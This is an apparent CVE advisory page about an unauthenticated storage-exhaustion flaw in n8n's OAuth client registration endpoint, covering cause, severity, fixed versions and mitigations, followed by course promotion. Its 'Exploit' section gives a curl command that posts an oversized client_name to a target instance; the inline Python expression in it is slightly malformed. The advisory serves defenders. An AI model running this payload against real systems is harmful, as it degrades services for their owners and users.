Listen to this Post
CVE-2026-86075 is an unauthenticated resource-exhaustion vulnerability in n8n’s OAuth Dynamic Client Registration endpoint. The endpoint validated field sizes only for redirect_uris, leaving `client_name` and `grant_types` bounded by presence checks alone. An unauthenticated remote caller could submit arbitrarily large values in either field and have them persisted to the database. The affected validation is in packages/cli/src/modules/oauth-server/oauth-server.service.ts, specifically the `MAX_CLIENT_NAME_LENGTH` and `MAX_GRANT_TYPES` constants that were either absent or not enforced. The vulnerability carries a CVSS v4.0 base score of 8.7 (High), driven entirely by its availability impact (VA:H) with no confidentiality or integrity impact. The attack vector is network (AV:N), requires no privileges (PR:N) and no user interaction (UI:N), and has low attack complexity (AC:L). An attacker needs only network access to the OAuth Dynamic Client Registration endpoint, which is typically exposed as part of n8n’s OAuth server implementation. Repeated submission of oversized `client_name` or `grant_types` values causes unbounded growth of the `oauth_clients` database table, leading to database storage exhaustion and denial of service. The weakness is classified as CWE-770: Allocation of Resources Without Limits or Throttling. No authentication or prior account access is required, making this a remotely exploitable denial-of-service condition against any n8n instance with the OAuth registration endpoint reachable. The issue has been fixed in n8n versions 2.37.7 and 2.38.2.
DailyCVE Form:
Platform: n8n
Version: < 2.37.7, 2.38.0–2.38.1
Vulnerability: Unauthenticated Storage Exhaustion
Severity: High (8.7)
date: 2026-09-08
Prediction: 2026-09-08
What Undercode Say:
No data available.
Exploit: (Educational Purposes!)
curl -X POST https://target-instance/oauth/register \
-H "Content-Type: application/json" \
-d '{
"redirect_uris": ["https://example.com/callback"],
"client_name": "'$(python3 -c "print('A'10000000)")'",
"grant_types": ["authorization_code", "refresh_token", "client_credentials", "implicit", "password", "urn:ietf:params:oauth:grant-type:jwt-bearer"]
}'
Protection: from this CVE
Upgrade to n8n 2.37.7 or 2.38.2 or later. If upgrading is not immediately possible, restrict network access to the n8n instance so that only trusted clients can reach it, place the instance behind a reverse proxy configured to enforce strict request body size limits below the default 16 MiB, and monitor database size for unexpected growth while auditing the `oauth_clients` table for anomalous entries.
Impact:
Unauthenticated remote attackers can repeatedly persist arbitrarily large values in the `oauth_clients` database table, causing unbounded storage growth and eventual database storage exhaustion, resulting in denial of service against the affected n8n instance. There is no confidentiality or integrity impact; the vulnerability affects availability only.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
